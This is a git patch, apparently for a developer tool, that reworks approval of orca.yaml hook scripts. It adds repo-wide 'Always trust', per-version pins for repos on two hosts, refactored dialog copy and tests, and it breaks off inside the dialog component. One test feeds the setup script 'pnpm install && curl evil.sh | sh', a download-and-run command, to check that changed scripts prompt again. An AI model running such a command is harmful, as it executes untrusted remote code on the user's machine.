From 108a7997e49631bd35db7f00bd4ee3d949f658be Mon Sep 17 00:00:00 2001 From: Brennan Benson <79079362+brennanb2025@users.noreply.github.com> Date: Mon, 16 Nov 2026 13:50:18 -0800 Subject: [PATCH] Approve a repo's orca.yaml hooks once, not each version (#42890) * Trust repository hooks across setup revisions * Keep declined automation setup reviews unchanged * Sync localization catalogs for setup trust choices * Keep automation setup pins unless the repo is trusted * Explain repo-wide trust wherever Always trust grants it * Offer only per-version approval for a repo on several hosts * Follow main's execution-host module move --- .../automation-management-actions.ts | 5 +- .../authoring/automation-orca-save.ts | 6 +- .../authoring/automation-setup-review.ts | 81 +++-- .../sidebar/OrcaYamlTrustDialog.test.tsx | 222 +++++++++++--- .../sidebar/OrcaYamlTrustDialog.tsx | 279 +++--------------- .../sidebar/orca-yaml-trust-copy.ts | 181 ++++++++++++ src/renderer/src/i18n/locales/de.json | 4 +- src/renderer/src/i18n/locales/en.json | 9 +- src/renderer/src/i18n/locales/es.json | 4 +- src/renderer/src/i18n/locales/fr.json | 4 +- src/renderer/src/i18n/locales/ja.json | 4 +- src/renderer/src/i18n/locales/ko.json | 4 +- src/renderer/src/i18n/locales/pt.json | 4 +- src/renderer/src/i18n/locales/ru.json | 4 +- src/renderer/src/i18n/locales/tr.json | 4 +- src/renderer/src/i18n/locales/zh-Hant.json | 4 +- src/renderer/src/i18n/locales/zh.json | 4 +- .../creation/setup/workspace-setup-trust.ts | 6 +- .../worktree-creation-hook-preparation.ts | 25 +- .../repo-hooks/ensure-hooks-confirmed.ts | 135 +++------ .../repo-hooks/hook-script-confirmation.ts | 125 ++++++++ .../worktrees/create/create-worktree.ts | 13 +- .../create/created-worktree-setup-trust.ts | 10 +- .../create/worktree-create-payload.ts | 1 + .../languages/protected-copy-keys.json | 7 +- 25 files changed, 687 insertions(+), 458 deletions(-) create mode 100644 src/renderer/src/components/sidebar/orca-yaml-trust-copy.ts create mode 100644 src/renderer/src/runtime/repo-hooks/hook-script-confirmation.ts diff --git a/src/renderer/src/components/automations/authoring/automation-management-actions.ts b/src/renderer/src/components/automations/authoring/automation-management-actions.ts index df1e5eeb9b7..53aeecfd900 100644 --- a/src/renderer/src/components/automations/authoring/automation-management-actions.ts +++ b/src/renderer/src/components/automations/authoring/automation-management-actions.ts @@ -79,7 +79,10 @@ export function createAutomationManagementActions({ const reviewSkippedSetup = (row: AutomationListRow, content: SetupTrustMismatch): void => { void reviewAutomationSkippedSetup(row.automation, content, (setupTrustHash) => - updateAutomationRow(row, { setupDecision: 'run', setupTrustHash }) + updateAutomationRow(row, { + setupDecision: 'run', + ...(setupTrustHash ? { setupTrustHash } : {}) + }) ).catch((error: unknown) => { console.error('Failed to approve the automation setup:', error) }) diff --git a/src/renderer/src/components/automations/authoring/automation-orca-save.ts b/src/renderer/src/components/automations/authoring/automation-orca-save.ts index 3f159e838ff..313788accc5 100644 --- a/src/renderer/src/components/automations/authoring/automation-orca-save.ts +++ b/src/renderer/src/components/automations/authoring/automation-orca-save.ts @@ -135,7 +135,7 @@ export async function saveOrcaAutomation( }) : currentAutomation.setupDecision const { trust, setupTrustHash } = await confirmAutomationSaveSetup(context, { - // A new base can bring different orca.yaml setup, so it needs its own approval. + // Confirm setup on the base this automation will use. prompt: setupDecision === 'run' && ((targetEdited && !recordedContext) || edited('setupDecision') || edited('baseBranch')), @@ -207,7 +207,7 @@ export async function saveOrcaAutomation( } : {}), ...(edited('baseBranch') ? { baseBranch: draft.baseBranch.trim() || null } : {}), - ...(edited('setupDecision') || setupDecision !== currentAutomation?.setupDecision + ...(trust || edited('setupDecision') || setupDecision !== currentAutomation?.setupDecision ? { setupDecision } : {}), ...(setupTrustHash ? { setupTrustHash } : {}), @@ -232,7 +232,7 @@ export async function saveOrcaAutomation( workspaceId: currentAutomation ? currentAutomation.workspaceId : draft.workspaceId, baseBranch: currentAutomation ? currentAutomation.baseBranch : draft.baseBranch.trim() || null, setupDecision: currentAutomation ? currentAutomation.setupDecision : setupDecision, - setupTrustHash: currentAutomation ? currentAutomation.setupTrustHash : setupTrustHash, + setupTrustHash: 'setupDecision' in updates ? setupTrustHash : currentAutomation?.setupTrustHash, reuseSession: currentAutomation ? currentAutomation.reuseSession : draft.workspaceMode === 'existing' && draft.reuseSession, diff --git a/src/renderer/src/components/automations/authoring/automation-setup-review.ts b/src/renderer/src/components/automations/authoring/automation-setup-review.ts index 1a7a82a35fd..c33214b17eb 100644 --- a/src/renderer/src/components/automations/authoring/automation-setup-review.ts +++ b/src/renderer/src/components/automations/authoring/automation-setup-review.ts @@ -1,6 +1,7 @@ import { toast } from 'sonner' import { translate } from '@/i18n/i18n' import { useAppStore } from '@/store/index' +import { isDesktopHookRepoTrusted } from '@/runtime/repo-hooks/hook-script-confirmation' import { confirmCreatedWorktreeSetupContent, ensureHooksApproved, @@ -13,6 +14,11 @@ import { getAutomationRunRepoId } from '../../../../../shared/automations/histor import type { SetupDecision, SetupTrustMismatch } from '../../../../../shared/worktree/create-types' import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' +type SetupReviewSaveContext = { + local: Pick + list: Pick +} + /** Runs create from the automation's base, so approve the orca.yaml there, not the project checkout's. */ export function approveAutomationSetup( repoId: string, @@ -21,14 +27,15 @@ export function approveAutomationSetup( ): Promise { const createSource = { kind: 'base' as const, baseBranch: baseBranch?.trim() || undefined } return ensureHooksApproved( - useAppStore.getState(), + useAppStore.getState, repoId, 'setup', hostId, undefined, undefined, undefined, - createSource + createSource, + 'automation' ) } @@ -47,7 +54,10 @@ export function pendingAutomationSetupReview( return null } const content = skipped.content ?? null - return content && content.contentHash === automation.setupTrustHash ? null : { content } + // Why: hosts only skip for a stored hash, so with none the skipped content has since been trusted. + return !automation.setupTrustHash || content?.contentHash === automation.setupTrustHash + ? null + : { content } } export function pendingAutomationSetupReviewFromSummary( @@ -61,13 +71,13 @@ export function pendingAutomationSetupReviewFromSummary( } /** - * Show the skipped setup commands; approving stores their hash so later runs run them. Nothing + * Show the skipped setup commands; trusting the repo lets later runs use its setup. Nothing * runs now, and a declined review leaves the automation unchanged. */ export async function reviewAutomationSkippedSetup( - automation: Automation, + automation: Pick, content: SetupTrustMismatch, - saveSetupTrustHash: (setupTrustHash: string) => Promise + saveSetupTrustHash: (setupTrustHash: string | undefined) => Promise ): Promise { const approval = await confirmCreatedWorktreeSetupContent( useAppStore.getState, @@ -79,7 +89,11 @@ export async function reviewAutomationSkippedSetup( if (approval.decision !== 'run' || approval.approvedContentHash === undefined) { return } - if (await saveSetupTrustHash(approval.approvedContentHash)) { + if ( + await saveSetupTrustHash( + automationSetupPin(getAutomationRunRepoId(automation), approval.approvedContentHash) + ) + ) { toast.success( translate( 'automations.setupTrust.approved', @@ -91,10 +105,10 @@ export async function reviewAutomationSkippedSetup( /** * A save's setup approval: prompt when the target or setup choice changed, else re-review a skipped run. - * The hash is stored with `run` so later runs execute only this content. + * Approvals that don't trust the repo, such as empty setup or a project on two hosts, keep a content pin. */ export async function confirmAutomationSaveSetup( - context: Pick, + context: SetupReviewSaveContext, args: { prompt: boolean repoId: string @@ -108,40 +122,49 @@ export async function confirmAutomationSaveSetup( const trust = args.prompt ? await approveAutomationSetup(args.repoId, args.hostId, args.baseBranch) : null - const setupTrustHash = - trust?.approvedContentHash ?? - (await reconfirmSkippedSetup( - context, - trust, - args.setupDecision, - args.automation, - args.hostId, - args.baseBranch - )) - return { trust, setupTrustHash } + const reviewTrust = trust + ? null + : await reconfirmSkippedSetup( + context, + args.setupDecision, + args.automation, + args.hostId, + args.baseBranch + ) + const approval = trust ?? reviewTrust + return { + trust: approval, + setupTrustHash: automationSetupPin(args.repoId, approval?.approvedContentHash) + } +} + +/** Only a repo trusted for automations runs later setup unpinned; any other approval keeps its content pin. */ +function automationSetupPin(repoId: string, approvedContentHash: string | undefined) { + return isDesktopHookRepoTrusted(useAppStore.getState(), repoId, 'automation') + ? undefined + : approvedContentHash } /** * Saving an automation whose last run skipped changed setup re-confirms that setup: the skipped - * content when the host recorded it, else the content at the automation's base. Returns the hash to store. + * content when the host recorded it, else the content at the automation's base. */ async function reconfirmSkippedSetup( - context: Pick, - trust: HookTrustApproval | null, + context: SetupReviewSaveContext, setupDecision: SetupDecision | undefined, automation: Automation | null, hostId: ExecutionHostId | undefined, baseBranch: string | null | undefined -): Promise { +): Promise { // A changed target or setup choice was just confirmed by the regular save prompt. - if (trust || context.local.targetEdited || setupDecision !== 'run' || !automation) { - return undefined + if (context.local.targetEdited || setupDecision !== 'run' || !automation) { + return null } const { editingRowKey } = context.local const summary = context.list.visibleRows.find((row) => row.key === editingRowKey)?.usageSummary const review = pendingAutomationSetupReviewFromSummary(automation, summary ?? null) if (!review) { - return undefined + return null } const repoId = getAutomationRunRepoId(automation) const approval = review.content @@ -153,7 +176,5 @@ async function reconfirmSkippedSetup( 'automation' ) : await approveAutomationSetup(repoId, hostId, baseBranch) - return approval.decision === 'run' && approval.approvedContentHash !== automation.setupTrustHash - ? approval.approvedContentHash - : undefined + return approval.decision === 'run' ? approval : null } diff --git a/src/renderer/src/components/sidebar/OrcaYamlTrustDialog.test.tsx b/src/renderer/src/components/sidebar/OrcaYamlTrustDialog.test.tsx index 6fa518645b0..300b66e010d 100644 --- a/src/renderer/src/components/sidebar/OrcaYamlTrustDialog.test.tsx +++ b/src/renderer/src/components/sidebar/OrcaYamlTrustDialog.test.tsx @@ -8,8 +8,14 @@ import { useAppStore } from '@/store' import { __resetTrustPromptChainForTests, confirmCreatedWorktreeSetupContent, + ensureHooksApproved, ensureHooksConfirmed } from '@/runtime/repo-hooks/ensure-hooks-confirmed' +import { + approveAutomationSetup, + confirmAutomationSaveSetup, + reviewAutomationSkippedSetup +} from '../automations/authoring/automation-setup-review' import type { Repo } from '../../../../shared/repository/repo-types' const hooksCheck = vi.fn() @@ -67,7 +73,7 @@ function confirmSetup(): Promise<'run' | 'skip'> { async function waitForPrompt(): Promise { await vi.waitFor(() => { expect(useAppStore.getState().activeModal).toBe('confirm-orca-yaml-hooks') - expect(document.body.querySelector('input[type="checkbox"]')).not.toBeNull() + expect(document.body.querySelector('[role="dialog"]')).not.toBeNull() }) } @@ -83,27 +89,29 @@ function clickButton(label: string): void { async function approveWithAlwaysTrust(): Promise { await waitForPrompt() - act(() => { - document.body.querySelector('input[type="checkbox"]')?.click() - }) - clickButton('Run hooks') + clickButton('Always trust') } -describe('OrcaYamlTrustDialog Always trust', () => { - it('keeps the approved script hash so a repo on two hosts stops prompting', async () => { +describe('OrcaYamlTrustDialog repo on two hosts', () => { + it('keeps the approved script hash and offers no repo-wide trust', async () => { useAppStore.setState({ repos: [makeRepo('local'), makeRepo('runtime:vm-1')] }) serveSetupScript('pnpm install') const first = confirmSetup() - await approveWithAlwaysTrust() + await waitForPrompt() + expect( + Array.from(document.body.querySelectorAll('button')).some( + (button) => button.textContent === 'Always trust' + ) + ).toBe(false) + clickButton('Run hooks') await expect(first).resolves.toBe('run') expect(useAppStore.getState().trustedOrcaHooks['repo-1']).toEqual({ - all: { approvedAt: expect.any(Number) }, - setup: { contentHash: expect.any(String), approvedAt: expect.any(Number) } - }) - expect(uiSet).toHaveBeenLastCalledWith({ - trustedOrcaHooks: useAppStore.getState().trustedOrcaHooks + setup: { + contentHash: '005d0b7e5c261dcc5e2f8568e69a0b30e889a3275b55b18ec20a7deef0081e90', + approvedAt: expect.any(Number) + } }) await expect(confirmSetup()).resolves.toBe('run') @@ -112,46 +120,172 @@ describe('OrcaYamlTrustDialog Always trust', () => { serveSetupScript('pnpm install && curl evil.sh | sh') const edited = confirmSetup() await waitForPrompt() - expect(useAppStore.getState().modalData).toEqual( - expect.objectContaining({ previouslyApproved: true }) - ) clickButton("Don't run") await expect(edited).resolves.toBe('skip') }) }) -describe('OrcaYamlTrustDialog created branch review', () => { - it("saves a created branch's approved setup alongside the primary checkout's", async () => { +describe('OrcaYamlTrustDialog repo approval', () => { + it('runs once with the shown hash and stores no approval, including after a mismatch', async () => { useAppStore.setState({ repos: [makeRepo('local')] }) serveSetupScript('pnpm install') - const primary = confirmSetup() + const first = ensureHooksApproved(useAppStore.getState, 'repo-1', 'setup', 'local') await waitForPrompt() - clickButton('Run hooks') - await expect(primary).resolves.toBe('run') - const primaryHash = useAppStore.getState().trustedOrcaHooks['repo-1']?.setup?.contentHash - - const reviewBranch = (): ReturnType => - confirmCreatedWorktreeSetupContent( - () => useAppStore.getState(), - 'repo-1', - 'pnpm install && pnpm build', - 'local' - ) - const review = reviewBranch() - await waitForPrompt() - expect(document.body.textContent).toContain('pnpm install && pnpm build') - clickButton('Run hooks') - const approval = await review - expect(approval.decision).toBe('run') - - expect(useAppStore.getState().trustedOrcaHooks['repo-1']?.setup).toEqual({ - contentHash: approval.approvedContentHash, - approvedAt: expect.any(Number), - previousContentHashes: [primaryHash] + clickButton('Run once') + await expect(first).resolves.toEqual({ + decision: 'run', + approvedContentHash: '005d0b7e5c261dcc5e2f8568e69a0b30e889a3275b55b18ec20a7deef0081e90' }) - // Neither the primary checkout's script nor the branch's prompts again. - await expect(confirmSetup()).resolves.toBe('run') - await expect(reviewBranch()).resolves.toEqual(approval) + expect(useAppStore.getState().trustedOrcaHooks).toEqual({}) + + const review = confirmCreatedWorktreeSetupContent( + useAppStore.getState, + 'repo-1', + 'pnpm install && pnpm build', + 'local' + ) + await waitForPrompt() + clickButton('Run once') + await expect(review).resolves.toEqual({ + decision: 'run', + approvedContentHash: 'e7e22ff042aa9e982d7cc5d39b5f8980822c0aef1f3f9edb76d8da4691e4f2cb' + }) + expect(useAppStore.getState().trustedOrcaHooks).toEqual({}) + const again = confirmSetup() + await waitForPrompt() + clickButton("Don't run") + await expect(again).resolves.toBe('skip') + }) + + it('always trusts future content and other hook kinds without sending a hash', async () => { + useAppStore.setState({ repos: [makeRepo('local')] }) + serveSetupScript('pnpm install') + const first = ensureHooksApproved(useAppStore.getState, 'repo-1', 'setup', 'local') + await approveWithAlwaysTrust() + await expect(first).resolves.toEqual({ decision: 'run' }) + expect(useAppStore.getState().trustedOrcaHooks['repo-1']).toEqual({ + all: { approvedAt: expect.any(Number) } + }) + serveSetupScript('pnpm build') + await expect( + ensureHooksApproved(useAppStore.getState, 'repo-1', 'setup', 'local') + ).resolves.toEqual({ decision: 'run' }) + await expect( + ensureHooksApproved(useAppStore.getState, 'repo-1', 'archive', 'local') + ).resolves.toEqual({ decision: 'run' }) expect(useAppStore.getState().activeModal).toBe('none') }) + + it('counts an existing approval for another hook as repo trust, but not for VM creates', async () => { + useAppStore.setState({ + repos: [makeRepo('local')], + trustedOrcaHooks: { 'repo-1': { archive: { contentHash: 'old-archive', approvedAt: 1 } } } + }) + serveSetupScript('pnpm install') + await expect( + ensureHooksApproved(useAppStore.getState, 'repo-1', 'setup', 'local') + ).resolves.toEqual({ decision: 'run' }) + const vm = ensureHooksApproved( + useAppStore.getState, + 'repo-1', + 'setup', + 'local', + undefined, + undefined, + undefined, + undefined, + 'vm' + ) + await waitForPrompt() + clickButton('Run hooks') + await expect(vm).resolves.toEqual({ + decision: 'run', + approvedContentHash: '005d0b7e5c261dcc5e2f8568e69a0b30e889a3275b55b18ec20a7deef0081e90' + }) + expect(useAppStore.getState().trustedOrcaHooks['repo-1']?.setup?.contentHash).toBe( + '005d0b7e5c261dcc5e2f8568e69a0b30e889a3275b55b18ec20a7deef0081e90' + ) + const changedVm = confirmCreatedWorktreeSetupContent( + useAppStore.getState, + 'repo-1', + 'pnpm build', + 'local', + 'created-branch', + 'vm' + ) + await waitForPrompt() + clickButton('Run hooks') + await expect(changedVm).resolves.toEqual({ + decision: 'run', + approvedContentHash: '702e948d947e109310cb2bf19c157b5bb8142b88c87e02ae87a7594c9b797893' + }) + }) +}) + +describe('automation setup approval', () => { + it('saves repo trust for future runs and returns no pinned hash', async () => { + useAppStore.setState({ repos: [makeRepo('local')] }) + serveSetupScript('pnpm install') + const approval = approveAutomationSetup('repo-1', 'local', 'origin/main') + await waitForPrompt() + clickButton('Always trust') + await expect(approval).resolves.toEqual({ decision: 'run' }) + expect(useAppStore.getState().trustedOrcaHooks['repo-1']).toEqual({ + all: { approvedAt: expect.any(Number) } + }) + }) + + it('pins empty setup so commands added later need approval', async () => { + useAppStore.setState({ repos: [makeRepo('local')] }) + serveSetupScript('') + await expect( + confirmAutomationSaveSetup( + { local: { targetEdited: false, editingRowKey: null }, list: { visibleRows: [] } }, + { + prompt: true, + repoId: 'repo-1', + hostId: 'local', + baseBranch: 'origin/main', + setupDecision: 'run', + automation: null + } + ) + ).resolves.toMatchObject({ + setupTrustHash: 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855' + }) + }) + + it('clears an old automation hash when its skipped setup is approved', async () => { + useAppStore.setState({ repos: [makeRepo('local')] }) + const save = vi.fn<(hash: string | undefined) => Promise>().mockResolvedValue(true) + const review = reviewAutomationSkippedSetup( + { projectId: 'repo-1' }, + { + scriptContent: 'pnpm install', + contentHash: 'old-version' + }, + save + ) + await approveWithAlwaysTrust() + await review + expect(save).toHaveBeenCalledWith(undefined) + expect(useAppStore.getState().trustedOrcaHooks['repo-1']).toEqual({ + all: { approvedAt: expect.any(Number) } + }) + }) + + it('retains pinned approval when the automation repo is on two hosts', async () => { + useAppStore.setState({ repos: [makeRepo('local'), makeRepo('runtime:vm-1')] }) + serveSetupScript('pnpm install') + const approval = approveAutomationSetup('repo-1', 'local', 'origin/main') + await waitForPrompt() + clickButton('Run hooks') + await expect(approval).resolves.toEqual({ + decision: 'run', + approvedContentHash: '005d0b7e5c261dcc5e2f8568e69a0b30e889a3275b55b18ec20a7deef0081e90' + }) + expect(useAppStore.getState().trustedOrcaHooks['repo-1']?.setup?.contentHash).toBe( + '005d0b7e5c261dcc5e2f8568e69a0b30e889a3275b55b18ec20a7deef0081e90' + ) + }) }) diff --git a/src/renderer/src/components/sidebar/OrcaYamlTrustDialog.tsx b/src/renderer/src/components/sidebar/OrcaYamlTrustDialog.tsx index 4032e221f06..1830b4a0cf8 100644 --- a/src/renderer/src/components/sidebar/OrcaYamlTrustDialog.tsx +++ b/src/renderer/src/components/sidebar/OrcaYamlTrustDialog.tsx @@ -1,4 +1,4 @@ -import React, { useCallback, useState } from 'react' +import React, { useCallback } from 'react' import { Dialog, DialogContent, @@ -11,192 +11,20 @@ import { Button } from '@/components/ui/button' import { useAppStore } from '@/store' import type { OrcaHookTrustKind } from '../../../../shared/workspace-setup/hooks/orca-hook-trust-entries' import { Trans } from 'react-i18next' -import { i18n, translate } from '@/i18n/i18n' -import { useTranslate, type Translate } from '@/i18n/use-translate' +import { i18n } from '@/i18n/i18n' +import { useTranslate } from '@/i18n/use-translate' import { useUiLanguageRevision } from '@/i18n/use-ui-language-revision' +import { + getCreatedBranchCopy, + getAutomationReviewCopy, + getTitle, + getDescription, + getScriptHeading +} from './orca-yaml-trust-copy' + type ScriptKind = OrcaHookTrustKind -type SkippedSetupReviewCopy = { - title: string - description: string - heading: string - confirmLabel?: string -} - -/** Copy for a created workspace whose branch has different setup commands than the ones approved. */ -function getCreatedBranchCopy(t: Translate = translate): SkippedSetupReviewCopy { - return { - title: t( - 'worktree.setupTrust.branchDiffersTitle', - "This workspace's branch has different setup commands" - ), - description: t( - 'worktree.setupTrust.branchDiffersBody', - "The workspace was created, but its setup didn't run: its branch's orca.yaml differs from what you approved. Run these for this workspace only if you trust ." - ), - heading: t('worktree.setupTrust.branchSetupScript', "Branch's setup script") - } -} - -/** Copy for an automation whose run skipped setup because its branch's commands changed. */ -function getAutomationReviewCopy(t: Translate = translate): SkippedSetupReviewCopy { - return { - title: t( - 'automations.setupTrust.reviewTitle', - 'Approve the new setup commands for this automation?' - ), - description: t( - 'automations.setupTrust.reviewBody', - "A run skipped setup because its branch's orca.yaml setup commands changed. Approving lets later runs use these commands. Only approve if you trust ." - ), - heading: t('worktree.setupTrust.branchSetupScript', "Branch's setup script"), - confirmLabel: t('automations.setupTrust.approve', 'Approve') - } -} - -function getTitle( - kind: ScriptKind, - repoName: string, - previouslyApproved: boolean, - t: Translate = translate -): string { - const repo = { repo: repoName } - if (previouslyApproved) { - switch (kind) { - case 'setup': - return t( - 'auto.components.sidebar.OrcaYamlTrustDialog.setupChangedTitle', - "{{repo}}'s setup script changed — run the new version?", - repo - ) - case 'archive': - return t( - 'auto.components.sidebar.OrcaYamlTrustDialog.archiveChangedTitle', - "{{repo}}'s archive script changed — run the new version?", - repo - ) - case 'issueCommand': - return t( - 'auto.components.sidebar.OrcaYamlTrustDialog.issueCommandChangedTitle', - "{{repo}}'s issue command changed — run the new version?", - repo - ) - case 'vmRecipe': - return t( - 'auto.components.sidebar.OrcaYamlTrustDialog.vmRecipeChangedTitle', - "{{repo}}'s VM recipe changed — run the new version?", - repo - ) - } - } - switch (kind) { - case 'setup': - return t( - 'auto.components.sidebar.OrcaYamlTrustDialog.setupRunTitle', - 'Run setup script from {{repo}}?', - repo - ) - case 'archive': - return t( - 'auto.components.sidebar.OrcaYamlTrustDialog.archiveRunTitle', - 'Run archive script from {{repo}}?', - repo - ) - case 'issueCommand': - return t( - 'auto.components.sidebar.OrcaYamlTrustDialog.issueCommandRunTitle', - 'Run issue command from {{repo}}?', - repo - ) - case 'vmRecipe': - return t( - 'auto.components.sidebar.OrcaYamlTrustDialog.vmRecipeRunTitle', - 'Run VM recipe from {{repo}}?', - repo - ) - } -} - -// Templates embed orca.yaml and a slot filled by the component. -function getDescription( - kind: ScriptKind, - previouslyApproved: boolean, - t: Translate = translate -): string { - if (previouslyApproved) { - switch (kind) { - case 'setup': - return t( - 'auto.components.sidebar.OrcaYamlTrustDialog.setupChangedBody', - 'orca.yaml changed since you last approved. Re-review before it runs when this workspace is created.' - ) - case 'archive': - return t( - 'auto.components.sidebar.OrcaYamlTrustDialog.archiveChangedBody', - 'orca.yaml changed since you last approved. Re-review before it runs when this workspace is removed.' - ) - case 'issueCommand': - return t( - 'auto.components.sidebar.OrcaYamlTrustDialog.issueCommandChangedBody', - 'orca.yaml changed since you last approved. Re-review before it runs when this workspace launches with a linked issue.' - ) - case 'vmRecipe': - return t( - 'auto.components.sidebar.OrcaYamlTrustDialog.vmRecipeChangedBody', - 'orca.yaml changed since you last approved. Re-review before it runs before provisioning a VM.' - ) - } - } - switch (kind) { - case 'setup': - return t( - 'auto.components.sidebar.OrcaYamlTrustDialog.setupRunBody', - "This repository's orca.yaml runs on your machine when this workspace is created. Only run if you trust ." - ) - case 'archive': - return t( - 'auto.components.sidebar.OrcaYamlTrustDialog.archiveRunBody', - "This repository's orca.yaml runs on your machine when this workspace is removed. Only run if you trust ." - ) - case 'issueCommand': - return t( - 'auto.components.sidebar.OrcaYamlTrustDialog.issueCommandRunBody', - "This repository's orca.yaml runs on your machine when this workspace launches with a linked issue. Only run if you trust ." - ) - case 'vmRecipe': - return t( - 'auto.components.sidebar.OrcaYamlTrustDialog.vmRecipeRunBody', - "This repository's orca.yaml runs on your machine before provisioning a VM. Only run if you trust ." - ) - } -} - -function getScriptHeading( - kind: ScriptKind, - previouslyApproved: boolean, - t: Translate = translate -): string { - switch (kind) { - case 'setup': - return previouslyApproved - ? t('auto.components.sidebar.OrcaYamlTrustDialog.newSetupScript', 'New setup script') - : t('auto.components.sidebar.OrcaYamlTrustDialog.setupScript', 'Setup script') - case 'archive': - return previouslyApproved - ? t('auto.components.sidebar.OrcaYamlTrustDialog.newArchiveScript', 'New archive script') - : t('auto.components.sidebar.OrcaYamlTrustDialog.archiveScript', 'Archive script') - case 'issueCommand': - return previouslyApproved - ? t('auto.components.sidebar.OrcaYamlTrustDialog.newIssueCommand', 'New issue command') - : t('auto.components.sidebar.OrcaYamlTrustDialog.issueCommand', 'Issue command') - case 'vmRecipe': - return previouslyApproved - ? t('auto.components.sidebar.OrcaYamlTrustDialog.newVmRecipe', 'New VM recipe') - : t('auto.components.sidebar.OrcaYamlTrustDialog.vmRecipe', 'VM recipe') - } -} - const OrcaYamlTrustDialog = React.memo(function OrcaYamlTrustDialog() { const t = useTranslate() useUiLanguageRevision() @@ -207,20 +35,6 @@ const OrcaYamlTrustDialog = React.memo(function OrcaYamlTrustDialog() { const markOrcaHookRepoAlwaysTrusted = useAppStore((s) => s.markOrcaHookRepoAlwaysTrusted) const isOpen = activeModal === 'confirm-orca-yaml-hooks' - const [alwaysTrustState, setAlwaysTrustState] = useState(() => ({ - isOpen, - value: false - })) - - // Reset before paint so a new hook prompt never flashes stale Always trust consent. - if (alwaysTrustState.isOpen !== isOpen) { - setAlwaysTrustState({ isOpen, value: false }) - } - const alwaysTrust = alwaysTrustState.isOpen === isOpen ? alwaysTrustState.value : false - const setAlwaysTrust = (value: boolean): void => { - setAlwaysTrustState({ isOpen, value }) - } - const repoId = typeof modalData.repoId === 'string' ? modalData.repoId : '' const repoName = typeof modalData.repoName === 'string' @@ -236,27 +50,25 @@ const OrcaYamlTrustDialog = React.memo(function OrcaYamlTrustDialog() { : 'setup' const scriptContent = typeof modalData.scriptContent === 'string' ? modalData.scriptContent : '' const contentHash = typeof modalData.contentHash === 'string' ? modalData.contentHash : '' - const previouslyApproved = modalData.previouslyApproved === true + const versionOnly = modalData.versionOnly === true + const repoWideTrust = modalData.repoWideTrust === true + const automation = modalData.automation === true + const previouslyApproved = versionOnly && modalData.previouslyApproved === true const reviewCopy = modalData.skippedSetupReview === 'created-branch' ? getCreatedBranchCopy(t) : modalData.skippedSetupReview === 'automation' ? getAutomationReviewCopy(t) : null - const onResolve = - typeof modalData.onResolve === 'function' - ? (modalData.onResolve as (decision: 'run' | 'skip') => void) - : null + const onResolve = typeof modalData.onResolve === 'function' ? modalData.onResolve : null const resolveAndClose = useCallback( - (decision: 'run' | 'skip') => { - if (decision === 'run' && repoId) { - // Repo-wide trust is ignored when the repo id is on two hosts, so keep this script's approval too. - // Earlier approvals stay in the repo's bounded history, so a branch's script joins them. - if (contentHash) { + (decision: 'run' | 'trust' | 'skip') => { + if (decision !== 'skip' && repoId) { + if (versionOnly && contentHash) { markOrcaHookScriptConfirmed(repoId, scriptKind, contentHash) } - if (alwaysTrust) { + if (decision === 'trust') { markOrcaHookRepoAlwaysTrusted(repoId) } } @@ -264,7 +76,7 @@ const OrcaYamlTrustDialog = React.memo(function OrcaYamlTrustDialog() { closeModal() }, [ - alwaysTrust, + versionOnly, closeModal, contentHash, markOrcaHookRepoAlwaysTrusted, @@ -304,7 +116,7 @@ const OrcaYamlTrustDialog = React.memo(function OrcaYamlTrustDialog() { {scriptContent && (
-
+
{reviewCopy?.heading ?? getScriptHeading(scriptKind, previouslyApproved, t)}
@@ -313,39 +125,40 @@ const OrcaYamlTrustDialog = React.memo(function OrcaYamlTrustDialog() {
           
)} -